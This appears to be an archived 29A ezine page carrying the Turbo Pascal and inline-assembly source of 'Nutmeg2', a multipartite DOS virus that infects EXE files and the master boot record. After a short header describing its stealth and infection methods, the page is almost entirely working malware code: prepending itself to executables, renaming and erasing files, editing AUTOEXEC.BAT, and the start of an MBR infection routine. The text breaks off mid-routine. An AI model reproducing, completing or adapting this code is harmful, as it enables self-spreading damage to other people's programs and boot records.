Neperos
SIGN IN
Copy Link
Add to Bookmark
Report

29A Issue 03 06 13

eZine's profile picture
eZine lover (@eZine)
Published in 
29A
 · 4 years ago

  

{ 
[Nutmeg2] Turbo Pascal Multipartite EXE/MBR infector 
Copyright 1998 (c) Vecna 

This is the first know virus written in HLL that infect the MBR also. It 
infect the owner of the envirment in each interupt 0x28 call, that is called 
when DOS is idle. The virus place itself in the start of the infected file, 
adding 4096 bytes to it. It is a prepender that reexecute the host, but with 
the original name, so, if the host program goes memory resident, MEM.EXE dont 
show a foreign program as resident. It also have the so called "host stealth", 
infecting all files, including these with self-checks. Two external assembler 
routines are used to give the virus the multipartite ability. The virus is 
packed with LZEXE, and replicate in this form. 

Two big ugly buffers are used as a temporary storage area when copying and 
working in the MBR. As the file is packed, altought using big memory spaces, 
they dont increase the file lenght. 

} 

{$F+} 
{$S-} 
{$M 8192,0,0} 

PROGRAM NUTMEG; 

USES DOS; 

CONST VIRSIZE=4096; 

TYPE BUFFER=ARRAY[0..VIRSIZE - 1] OF CHAR; 

VAR HANDLE:WORD; 
    ENVSEG:WORD; 
    ENVOFF:WORD; 
    PSPSEG:WORD; 
    FILENAME:STRING[128]; 
    MYNAME:STRING[128]; 
    OLDNAME:STRING[128]; 
    MYPARAMS:STRING[128]; 
    VIRBUFFER:BUFFER; 
    AEXEC:BOOLEAN; 

PROCEDURE GETSEGMENTS; ASSEMBLER; 
ASM 
  MOV AH, 51H 
  INT 21H 
  MOV ES, BX 
  MOV ES, ES:[2CH] 
  MOV ENVSEG, ES 
  MOV PSPSEG, BX 
END; 

PROCEDURE FSEEK(POINTER:WORD); ASSEMBLER; 
ASM 
  MOV AX, 4200H 
  MOV BX, HANDLE 
  XOR CX, CX 
  MOV DX, POINTER 
  INT 21H 
END; 

PROCEDURE READFILE(VAR FILEBUF:BUFFER; READNUM:WORD); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 3FH 
  MOV BX, HANDLE 
  MOV CX, READNUM 
  LDS DX, FILEBUF 
  INT 21H 
  POP DS 
END; 

PROCEDURE WRITEFILE(FILEBUF:BUFFER; WRITENUM:WORD); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 40H 
  MOV BX, HANDLE 
  MOV CX, WRITENUM 
  LDS DX, FILEBUF 
  INT 21H 
  POP DS 
END; 

PROCEDURE OPENFILE(FILENAME:STRING; ACCESS:BYTE); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 3DH 
  MOV AL, ACCESS 
  LDS DX, FILENAME 
  INC DX 
  INT 21H 
  MOV HANDLE, AX 
  POP DS 
END; 

PROCEDURE ERASEFILE(FILENAME:STRING); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 41H 
  LDS DX, FILENAME 
  INC DX 
  INT 21H 
  POP DS 
END; 

PROCEDURE CLOSEFILE; ASSEMBLER; 
ASM 
  MOV AH, 3EH 
  MOV BX, HANDLE 
  INT 21H 
END; 

PROCEDURE CREATENEWFILE(FILENAME:STRING; ATTRIBUTES:WORD); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 3CH 
  MOV CX, ATTRIBUTES 
  LDS DX, FILENAME 
  INC DX 
  INT 21H 
  MOV HANDLE, AX 
  POP DS 
END; 

PROCEDURE RENAMEFILE(SOURCE:STRING;DESTINATION:STRING); ASSEMBLER; 
ASM 
  PUSH DS 
  MOV AH, 56H 
  LDS DX, SOURCE 
  INC DX 
  LES DI, DESTINATION 
  INC DI 
  INT 21H 
  POP DS 
END; 

PROCEDURE COPYTO(DESTINATION:STRING; SOURCE:STRING; STARTAT:WORD); ASSEMBLER; 
VAR HANDLE1,HANDLE2:WORD; 
ASM 
  PUSH DS 
  MOV AX,3D00H 
  LDS DX,SOURCE 
  INC DX 
  INT 21H 
  MOV HANDLE1, AX 
  MOV AX,3D02H 
  LDS DX,DESTINATION 
  INC DX 
  INT 21H 
  MOV HANDLE2, AX 
  MOV AX, 4200H 
  MOV BX, HANDLE1 
  XOR CX, CX 
  MOV DX, STARTAT 
  INT 21H 
  MOV AX, 4202H 
  MOV BX, HANDLE2 
  XOR CX, CX 
  CWD 
  INT 21H 
  PUSH CS 
  POP DS 
  MOV DX, OFFSET @BUFFER 
@NEXTCHUNK: 
  MOV AH, 3FH 
  MOV BX, HANDLE1 
  MOV CX, 16*64*4 
  INT 21H 
  MOV CX, AX 
  MOV AH, 40H 
  MOV BX, HANDLE2 
  INT 21H 
  CMP AX, 16*64*4 
  JE @NEXTCHUNK 
  MOV AH, 3EH 
  MOV BX, HANDLE1 
  INT 21H 
  MOV AH, 3EH 
  MOV BX, HANDLE2 
  INT 21H 
  JMP @EXIT 
@BUFFER: 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
  DB 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
@EXIT: 
  POP DS 
END; 

FUNCTION RANDOMNAME: STRING; 
  FUNCTION POELETRA(QTAS:CHAR): STRING; 
  VAR CH:CHAR; 
      TEMP:STRING[12]; 
  BEGIN 
    TEMP:=''; 
    REPEAT 
      CH:=CHR(65+RANDOM(25)); 
      TEMP:=TEMP+CH; 
    UNTIL TEMP[0]=QTAS; 
    POELETRA:=TEMP; 
  END; 
BEGIN 
  RANDOMNAME:=POELETRA(#8)+'.'+POELETRA(#3)+#0; 
END; 

PROCEDURE PSPOWNER; 
BEGIN 
  ENVOFF:=0; 
  FILENAME:=''; 
  GETSEGMENTS; 
  REPEAT 
    ENVOFF:=ENVOFF+1; 
  UNTIL MEMW[ENVSEG:ENVOFF]=$00; 
  ENVOFF:=ENVOFF+4; 
  REPEAT 
    FILENAME:=FILENAME+CHR(MEM[ENVSEG:ENVOFF]); 
    ENVOFF:=ENVOFF+1; 
  UNTIL MEM[ENVSEG:ENVOFF-1]=$00; 
END; 

PROCEDURE VIRUSINT28; INTERRUPT; 

  PROCEDURE INFECTEXE; 
  VAR NEWNAME:STRING[128]; 
      WHERESLASH:WORD; 
      OK:BYTE; 
  BEGIN 
    OK:=0; 
    ASM 
      PUSH DS 
      MOV AX, SEG FILENAME 
      MOV DS, AX 
      MOV SI, OFFSET FILENAME 
      MOV DX, SI 
      INC DX 
      MOV AX, 4300H 
      INT 21H 
      JC @TERMINATED 
      CMP CX, 1 
      JE @TERMINATED 
      XOR CX, CX 
    @SEARCHSLASH: 
      INC SI 
      INC CX 
      CMP BYTE PTR DS:[SI], 0 
      JE @TERMINATED 
      CMP BYTE PTR DS:[SI], '\' 
      JNE @SEARCHSLASH 
      MOV WHERESLASH, CX 
      MOV OK, 1 
      JMP @SEARCHSLASH 
    @TERMINATED: 
      POP DS 
    END; 
    IF OK=1 THEN BEGIN 
      NEWNAME:=COPY(FILENAME,1,WHERESLASH)+RANDOMNAME; 
      RENAMEFILE(FILENAME,NEWNAME); 
      CREATENEWFILE(FILENAME,0); 
      WRITEFILE(VIRBUFFER,VIRSIZE); 
      CLOSEFILE; 
      COPYTO(FILENAME,NEWNAME,0); 
      ERASEFILE(NEWNAME); 
    END; 
    ASM 
      PUSH DS 
      MOV AX, SEG FILENAME 
      MOV DS, AX 
      MOV DX, OFFSET FILENAME 
      INC DX 
      MOV AX, 4301H 
      MOV CX, 1 
      INT 21H 
      POP DS 
    END; 
  END; 

BEGIN 
  PSPOWNER; 
  IF NOT(OLDNAME=FILENAME) THEN BEGIN 
    IF (FILENAME[LENGTH(FILENAME)-1]='E') THEN INFECTEXE; 
    OLDNAME:=FILENAME; 
  END; 
END; 

PROCEDURE INITALL; 
VAR COUNT:BYTE; 
BEGIN 
  AEXEC:=TRUE; 
  RANDOMIZE; 
  PSPOWNER; 
  MYNAME:=FILENAME; 
  OPENFILE(MYNAME,0); 
  READFILE(VIRBUFFER,VIRSIZE); 
  CLOSEFILE; 
  IF PARAMSTR(1)='!' THEN BEGIN 
    ASM 
      PUSH DS 
      PUSH CS 
      POP DS 
      CALL @GETNAME 
      DB 'AUTOEXEC.BAT', 0 
    @GETNAME: 
      POP DX 
      MOV AX, 3D02H 
      INT 21H 
      JC @ECA 
      XCHG AX, BX 
      MOV AX, 4202H 
      MOV CX, -1 
      MOV DX, -19 
      INT 21H 
      MOV AH, 40H 
      XOR CX, CX 
      INT 21H 
      MOV AH, 3EH 
      INT 21H 
      MOV AX, SEG MYNAME 
      MOV DS, AX 
      MOV DX, OFFSET MYNAME 
      INC DX 
      MOV AX, 4301H 
      XOR CX, CX 
      INT 21H 
      JC @ECA 
      MOV AH, 41H 
      INT 21H 
    @ECA: 
      POP DS 
    END; 
    AEXEC:=FALSE; 
  END; 
  FOR COUNT:=1 TO PARAMCOUNT DO MYPARAMS:=MYPARAMS+PARAMSTR(COUNT)+' '; 
END; 

PROCEDURE SPAWNHOST; 
VAR NEWNAME:STRING[128]; 
    INF, OUTF:FILE; 
    ATTR:WORD; 
BEGIN 
  IF AEXEC=TRUE THEN BEGIN 
    ASM 
      PUSH DS 
      MOV AX, SEG MYNAME 
      MOV DS, AX 
      MOV DX, OFFSET MYNAME 
      INC DX 
      MOV AX, 4300H 
      INT 21H 
      MOV ATTR, CX 
      MOV AX, 4301H 
      XOR CX, CX 
      INT 21H 
      POP DS 
    END; 
    NEWNAME:=RANDOMNAME; 
    RENAMEFILE(MYNAME,NEWNAME); 
    CREATENEWFILE(MYNAME,2); 
    CLOSEFILE; 
    COPYTO(MYNAME,NEWNAME,VIRSIZE); 
    SWAPVECTORS; 
    EXEC(MYNAME, MYPARAMS); 
    SWAPVECTORS; 
    ERASEFILE(MYNAME); 
    RENAMEFILE(NEWNAME,MYNAME); 
    ASM 
      PUSH DS 
      MOV AX, SEG MYNAME 
      MOV DS, AX 
      MOV DX, OFFSET MYNAME 
      INC DX 
      MOV AX, 4301H 
      MOV CX, ATTR 
      INT 21H 
      MOV AX, SEG NEWNAME 
      MOV DS, AX 
      MOV DX, OFFSET NEWNAME 
      INC DX 
      MOV AX, 4301H 
      XOR CX, CX 
      INT 21H 
      MOV AH, 41H 
      INT 21H 
      POP DS 
    END; 
  END; 
END; 

FUNCTION RESIDENT:BOOLEAN; 
VAR IVT:LONGINT; 
BEGIN 
  IVT:=MEML[$0:$350]; 
  IF IVT=$20FF20FF THEN RESIDENT:=TRUE ELSE RESIDENT:=FALSE; 
END; 

PROCEDURE MLOADER; EXTERNAL; 
{$L MLOADER.OBJ} 

PROCEDURE LOADER; EXTERNAL; 
{$L LOADER.OBJ} 

PROCEDURE INFECTMBR; 
BEGIN 
  ASM 
    PUSH DS 
    PUSH CS 
    POP ES 
    PUSH CS 
    POP DS 
    MOV AH, 08H 
    MOV DX, 0080H 
    INT 13H 
    AND CX, 00111111B 
    CMP CL, ((VIRSIZE+511)/512)+6 
    JB @OVERBUFFER 
    MOV AX, 0201H 
    MOV CX, 0001H 
    MOV BX, OFFSET @BUFFER 
    MOV DX, 0080H 
    INT 13H 
    JC @OVERBUFFER 
    MOV DI, BX 
    MOV SI, OFFSET MLOADER 
    MOV AX, WORD PTR [SI] 
